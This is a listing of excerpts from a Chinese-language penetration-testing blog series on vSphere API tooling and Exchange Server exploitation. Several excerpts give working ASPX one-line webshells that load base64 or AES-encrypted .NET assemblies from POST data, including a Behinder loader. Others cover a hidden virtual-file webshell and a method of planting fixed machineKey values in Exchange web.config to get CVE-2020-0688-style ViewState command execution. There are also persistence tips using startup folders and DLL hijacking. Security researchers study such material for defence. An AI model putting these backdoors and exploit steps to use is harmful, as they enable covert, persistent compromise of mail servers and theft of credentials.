-
vSphere开发指南2——vSphere Web Services API
0x00 前言 在上篇文章《vSphere开发指南1——vSphere Automation API》介绍了通过vSphere Automation API实现vCenter Server同虚拟机交互的方法,但是vSphere Automation API有些操作不支持低版本的vCenter(<vSphere7.0U2),导致通用性不够,本文将要介绍更为通用的实现方法——vSphere Web Services API 0x01 简介 本文将要介绍以下内容: vSphere Web Services API开发细节 已开源工具SharpSphere的分析 开源代码vSphereWebServicesAPI_Manage.py 0x02 vSphere Web Services API开发细节 参考文档: https://code.vmware.com/apis/968 https://code.vmware.com/docs/11721/vmware-vsphere-web-services-sdk-programming-guide Python实现代码的参考资料: https://github.com/vmware/pyvmomi-community-samples 为了提高效率,这里我们基于Python SDK pyvmomi进行实现 具体细节如下: (1)登录操作 调用SmartConnect,传入用户名和明文口令 具体细节可在安装pyvmomi后,从文件/lib/site-packages/pyVim/connect.py中查看 (2)查看虚拟机配置 通过创建ContainerView托管对象进行查询 相比于vSphere Automation API,获得的内容更加全面 例如,vsphere-automation-sdk-python不支持获得每个虚拟机对应的UUID,但可以通过pyvmomi获得 ####(3)向虚拟机发送文件 使用方法InitiateFileTransferToGuest,需要传入以下六个参数: vm,指定要操作的虚拟机 auth,登录虚拟机的凭据 guestFilePath,向虚拟机发送的文件保存路径...
-
vSphere开发指南1——vSphere Automation API
0x00 前言 VMware vCenter Server是VMware虚拟化管理平台,广泛的应用于企业私有云内网中。站在渗透测试工具开发的角度,我们需要通过命令行实现vCenter Server同虚拟机的交互。 本系列文章将要比较多种不同的API,介绍实现细节,开源代码,实现以下功能: 读取虚拟机的配置 查看虚拟机文件 删除虚拟机文件 向虚拟机上传文件 从虚拟机下载文件 在虚拟机中执行命令 0x01 简介 本文将要介绍以下内容: 基础知识 vSphere Automation API开发细节 开源代码vSphereAutomationAPI_Manage.py 0x02 基础知识 1.VMware vSphere VMware vSphere是整个VMware套件的商业名称,而不是特定的产品或软件 VMware vSphere的两个核心组件是ESXi服务器和vCenter Server 2.ESXi ESXi是hypervsior,可以在其中创建和运行虚拟机和虚拟设备。 3.vCenter Server vCenter Server是用于管理网络中连接的多个ESXi主机和池主机资源的服务 vCenter Server可安装至Linux系统中,通过安装vCenter Server Appliance(VCSA)实现 vCenter Server也可安装至Windows系统中,通过安装Vmware Integrated Management(VIM)实现 0x03 vSphere Automation API开发细节 官方文档: https://developer.vmware.com/docs/vsphere-automation/latest/...
-
Exchange admin center(EAC)开发指南2——证书的导出与利用
0x00 前言 在上篇文章《Exchange admin center(EAC)开发指南》开源了代码eacManage,实现了添加邮箱用户、设置邮箱用户的权限和导出所有邮箱用户列表的功能,本文将要添加证书导出的功能,记录开发细节,分析利用思路。 0x01 简介 本文将要介绍以下内容: Exchange证书介绍 Exchange证书的导出方法 Exchange证书的利用 0x02 Exchange证书介绍 参考资料: https://docs.microsoft.com/en-us/exchange/architecture/client-access/certificates?view=exchserver-2019#certificates-in-exchange Exchange服务器默认创建以下三个证书: Microsoft Exchange,用于加密Exchange服务器、同一计算机上的Exchange服务和从客户端访问服务代理到邮箱服务器上的后端服务的客户端连接之间的内部通信 Microsoft Exchange Server Auth Certificate,用于OAuth服务器间身份验证和集成 WMSVC,此Windows自签名证书由IIS中的Web管理服务使用,用于启用远程管理Web服务器及其关联的网站和应用程序 简单理解: Exchange的网络通信数据使用Microsoft Exchange证书进行加密 身份验证功能需要使用Microsoft Exchange Server Auth Certificate证书,例如生成访问ECP服务时的参数msExchEcpCanary 补充: 修改Exchange网络通信数据使用的证书位置: IIS Manager -> Sites -> Exchange BackEnd -> Bindings… -> 444 -> Edit… -> SSL certificate...
-
Exchange admin center(EAC)开发指南
0x00 前言 Exchange admin center(EAC)是Exchange Server中基于Web的管理控制台,在渗透测试和漏洞利用中,通常需要通过代码实现对EAC的操作,本文将要开源一份 操作EAC的实现代码eacManage,记录开发细节,便于后续的二次开发。 0x01 简介 本文将要介绍以下内容: 程序实现原理 开源代码eacManage eacManage功能介绍 0x02 EAC的基本操作 介绍EAC的资料: https://docs.microsoft.com/en-us/Exchange/architecture/client-access/exchange-admin-center?view=exchserver-2019 1.添加邮箱用户和设置邮箱用户的权限 添加邮箱用户需要在recipients->mailboxes页面下进行操作,如下图 设置邮箱用户的权限需要在permissions->admin roles页面下进行操作,admin roles页面下默认建立了多个管理员角色组(Role Group),如下图 每个管理员角色组(Role Group)可以通过设置角色(Roles)属性来设定具体的权限,如下图 将邮箱用户添加至指定的管理员角色组就可以获得对应的权限,修改权限可以通过新建管理员角色组(Role Group)或者设置已有管理员角色组(Role Group)的角色(Roles)属性实现 2.导出所有邮箱用户列表 需要在recipients->mailboxes页面下进行操作,如下图 0x03 程序实现原理 目前,Exchange Server并未开放程序实现的接口,但我们可以通过构造特定格式的POST数据包实现 抓包可以选择以下两种方式: Chrome浏览器自带的抓包工具,可直接抓取明文数据,在Chrome界面按F12选择Network即可,具体细节可参考之前的文章《渗透基础——通过Outlook Web Access(OWA)读取Exchange邮件的命令行实现》 Wireshark,抓取明文数据需要配置证书,方法可参考之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》 具体的POST数据包格式如下: 1.查看所有管理员角色组 请求url:/ecp/UsersGroups/AdminRoleGroups.svc/GetList 参数: msExchEcpCanary...
-
渗透基础——Exchange一句话后门的扩展
0x00 前言 在上一篇文章《渗透基础——Exchange一句话后门的实现》介绍了两种Exchange一句话后门(内存加载.net程序集和文件写入),本文将要对Exchange一句话后门的功能进行扩展,以导出lsass进程的口令hash为例,介绍内存加载PE文件的实现方法,开源测试代码,分析利用思路,给出防御建议。 0x01 简介 本文将要介绍以下内容: Exchange一句话后门的编写 通过内存加载.net程序集实现导出lsass.exe进程的dmp文件 通过内存加载PE文件实现内存加载Mimikatz并解析指定位置的dmp文件 开源代码 防御建议 0x02 Exchange一句话后门的编写 (1)基本的实现代码 示例代码如下: <%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> 代码会判断是否带有POST请求的参数demodata,如果存在会将POST请求中参数demodata的内容作base64解密,在内存加载并调用名为Payload的实例 (2)冰蝎的实现代码 默认启动代码如下: <%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%> 提取其中使用的解密代码如下: public static string Decrypt(string str, string key) { Byte[] toEncryptArray...
-
Exchange Web Service(EWS)开发指南3——SOAP XML Parser
0x00 前言 在之前的文章《Exchange Web Service(EWS)开发指南2——SOAP XML message》介绍了SOAP XML message的使用,通过Python实现了利用hash对Exchange资源的访问。 当我们通过SOAP XML message读取邮件时,尝尝会遇到以下麻烦:由于每一封邮件对应一份原始的XML文件,原始的XML文件包含完整的邮件信息,人工分析邮件将耗费大量精力。 于是,本文将要介绍一种SOAP XML解析器的实现方法,编写工具实现自动提取有价值的邮件信息,提高阅读效率。 0x01 简介 本文将要介绍以下内容: 适用环境 设计思路 开源Python实现代码 代码开发细节 0x02 设计思路 通过SOAP XML message读取收件箱中的所有邮件,需要以下步骤: 使用ewsManage.py的listmailofinbox命令获得每一封邮件的ItemId和ChangeKey 循环使用ewsManage.py的getmail命令,传入每封邮件对应的ItemId和ChangeKey 分别将返回结果保存为XML格式的文件,每一个XML文件对应一封邮件 为了保证SOAP XML解析器的通用性,能够配合不同的工具,所以将SOAP XML解析器设计成了文件管理器的结构,选中XML文件将会自动解析,提取有价值的信息并显示,在设计上遵循以下原则: 开发语言选用Python,为了提高便捷性,全部使用Python的标准库 文件管理器涉及到Python的界面开发,使用标准GUI库Tkinter SOAP(Simple Object Access Protocol)协议在本质上仍为XML协议,在解析上使用标准库xml.dom.minidom 注: 如果使用字符串匹配的方式对XML文件解析,还需要考虑转义字符 0x03 程序实现 1.文件管理器的实现 Tkinter的使用: https://docs.python.org/3/library/tk.html 这里可以基于开源的file-manager-mask进行二次开发,修改如下部分: 去掉图片显示功能 去掉编辑文本的功能 添加XML文件解析的功能 2.XML文件解析...
-
渗透技巧——利用虚拟文件隐藏ASP.NET Webshell
0x00 前言 通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。 本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。 0x01 简介 本文将要介绍以下内容: VirtualPathProvider在Exchange下的利用 DotNet反序列化在Exchange下的利用 防御检测 0x02 VirtualPathProvider在Exchange下的利用 参考资料: https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8 在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建 示例代码: <%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %> <%@ Import Namespace="System.Web.Hosting" %> <%@ Import Namespace="System.Web.Compilation" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Security.Cryptography" %> <script runat="server"> public class DeferredPathProvider : VirtualPathProvider...
-
DotNet反序列化——生成ViewState的程序实现
0x00 前言 在上篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了通过.Net反序列化ViewState从Exchange文件读写权限到命令执行的方法,分享了三种利用脚本的开发细节,本文将要具体分析生成ViewState的细节,介绍另外一种实现从Exchange文件读写权限到命令执行的脚本开发细节 参考资料: http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html https://github.com/pwntester/ysoserial.net 0x01 简介 本文将要介绍以下内容: 两种生成ViewState的实现方法 另外一种利用脚本开发的细节 开源代码 0x02 背景知识 1.DotNet反序列化ViewState的实现原理 如果能够读取web.config的文件内容,获得其中的加密密钥和算法,就能够构造出有效的序列化数据。如果将序列化数据设置成恶意委托,那么在ViewState使用ObjectStateFormatter进行反序列化调用委托时,就能实现远程代码执行。 2.ViewState的生成流程 使用validationkey和generator作为参数,对序列化xaml数据进行签名,并放在序列化xaml数据后,作Base64编码后组成最终的ViewStaten内容 直观理解: data = Serialize(xaml) ViewState = data + (data+generator).ComputeHash(validationKey) ViewState = Base64(ViewState) 加密细节可参考: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255 https://github.com/0xacb/viewgen/blob/master/viewgen#L156 具体细节可使用dnSpy反编译System.Web.dll,找到System.Web.Configuration.MachineKeySection的GetEncodedData函数 0x03 两种生成ViewState的实现方法 测试环境: 获得了Exchange文件读写权限,能够修改%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config,设置machineKey的内容如下: <machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" /> 对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据 下面介绍两种生成ViewState的程序实现方法 1.从xaml数据生成ViewState 流程如下: 构造xaml数据 生成序列化xaml数据...
-
渗透技巧——从Exchange文件读写权限到命令执行
0x00 前言 在实际的渗透测试过程中,我们会遇到各种不同的环境,例如获得了Exchange服务器的文件读写权限,但是无法执行命令。 本文将要提供一种实现方法,分析利用思路,介绍脚本开发的细节,给出防御建议。 0x01 简介 本文将要介绍以下内容: 解决思路 利用方法 程序实现 防御建议 0x02 解决思路 1.常规解决思路 (1)写入Webshell 通常选择以下两个位置: %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth 选择这两个位置的优点是可以直接访问Webshell 也可以选择其他位置,例如%ExchangeInstallPath%\ClientAccess\ecp\,写入的文件名称有限制,命令规则可参考%ExchangeInstallPath%\ClientAccess\ecp\web.config 注: 访问%ExchangeInstallPath%\ClientAccess\下的webshell需要添加合法用户的登录Cookie 总的来说,通过写入Webshell的方式比较直接,但是Exchange服务器有可能禁用了命令执行权限或是拦截系统函数的调用,依旧无法获得命令执行权限。 (2)写入PE文件 写入exe文件,可选择以下两种启动文件夹: 系统启动文件夹的位置:%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup 用户启动文件夹的位置:%USERPROFILE%\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 写入dll文件,可选择系统常见的dll劫持位置,例如c:\Windows\System32\fxsst.dll,更多细节可参考:https://github.com/3gstudent/Pentest-and-Development-Tips/blob/master/README-en.md#method-16-windows-fax-dll-injection 总的来说,通过写入PE文件的方式比较被动,需要等待系统加载,无法做到实时的命令执行 2.有效的解决思路 修改Exchange配置,设置MachineKey,通过.Net反序列化实现命令执行 可供学习的资料: http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html https://blog.knownsec.com/2020/11/net-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8b-viewstate-%e5%88%a9%e7%94%a8/ 简单来说,我们通过设置MachineKey,就能够实现与CVE-2020-0688同样的效果,也就是说,设置MachineKey为默认值后,可以直接使用CVE-2020-0688的利用工具实现命令执行 0x03 利用方法 1.修改%ExchangeInstallPath%\ClientAccess\ecp\web.config 将<machineKey validationKey="AutoGenerate,IsolateApps" />修改为<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" /> 如果没有这一属性,那么就在system.web下添加<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"...
-
渗透基础——Exchange一句话后门的实现
0x00 前言 在之前的文章《对APT34泄露工具的分析-HighShell和HyperShell》分析了HyperShell中的ExpiredPassword.aspx,通过向Exchange登录页面下的ExpiredPassword.aspx添加代码实现后门功能。 本文将要沿着这个思路,在技术角度介绍另外两种实现方法,开源测试代码,给出防御建议。 0x01 简介 本文将要介绍以下内容: 两种后门代码的实现 通过C Sharp代码实现后门连接 通过Python代码实现后门连接 利用分析 防御建议 0x02 两种后门代码的实现 1.内存加载.net程序集 这里参考《利用动态二进制加密实现新型一句话木马之.NET篇》 为了缩短代码长度,示例test1.aspx的代码如下: <%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String(Request.Form["demodata"])).CreateInstance("Payload").Equals("");%> 代码会判断是否带有POST请求的参数demodata,如果存在会将POST请求中参数demodata的内容作base64解密,在内存加载并调用名为Payload的实例 注: sharpyshell也使用相同的内存加载方式 我们可以通过以下方式生成Payload: (1)新建文件demo.cs 代码如下: using System; using System.Diagnostics; public class Payload { public override bool Equals(Object obj) { Process.Start("calc.exe"); return true; } } (2)编译生成dll文件 命令如下: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe...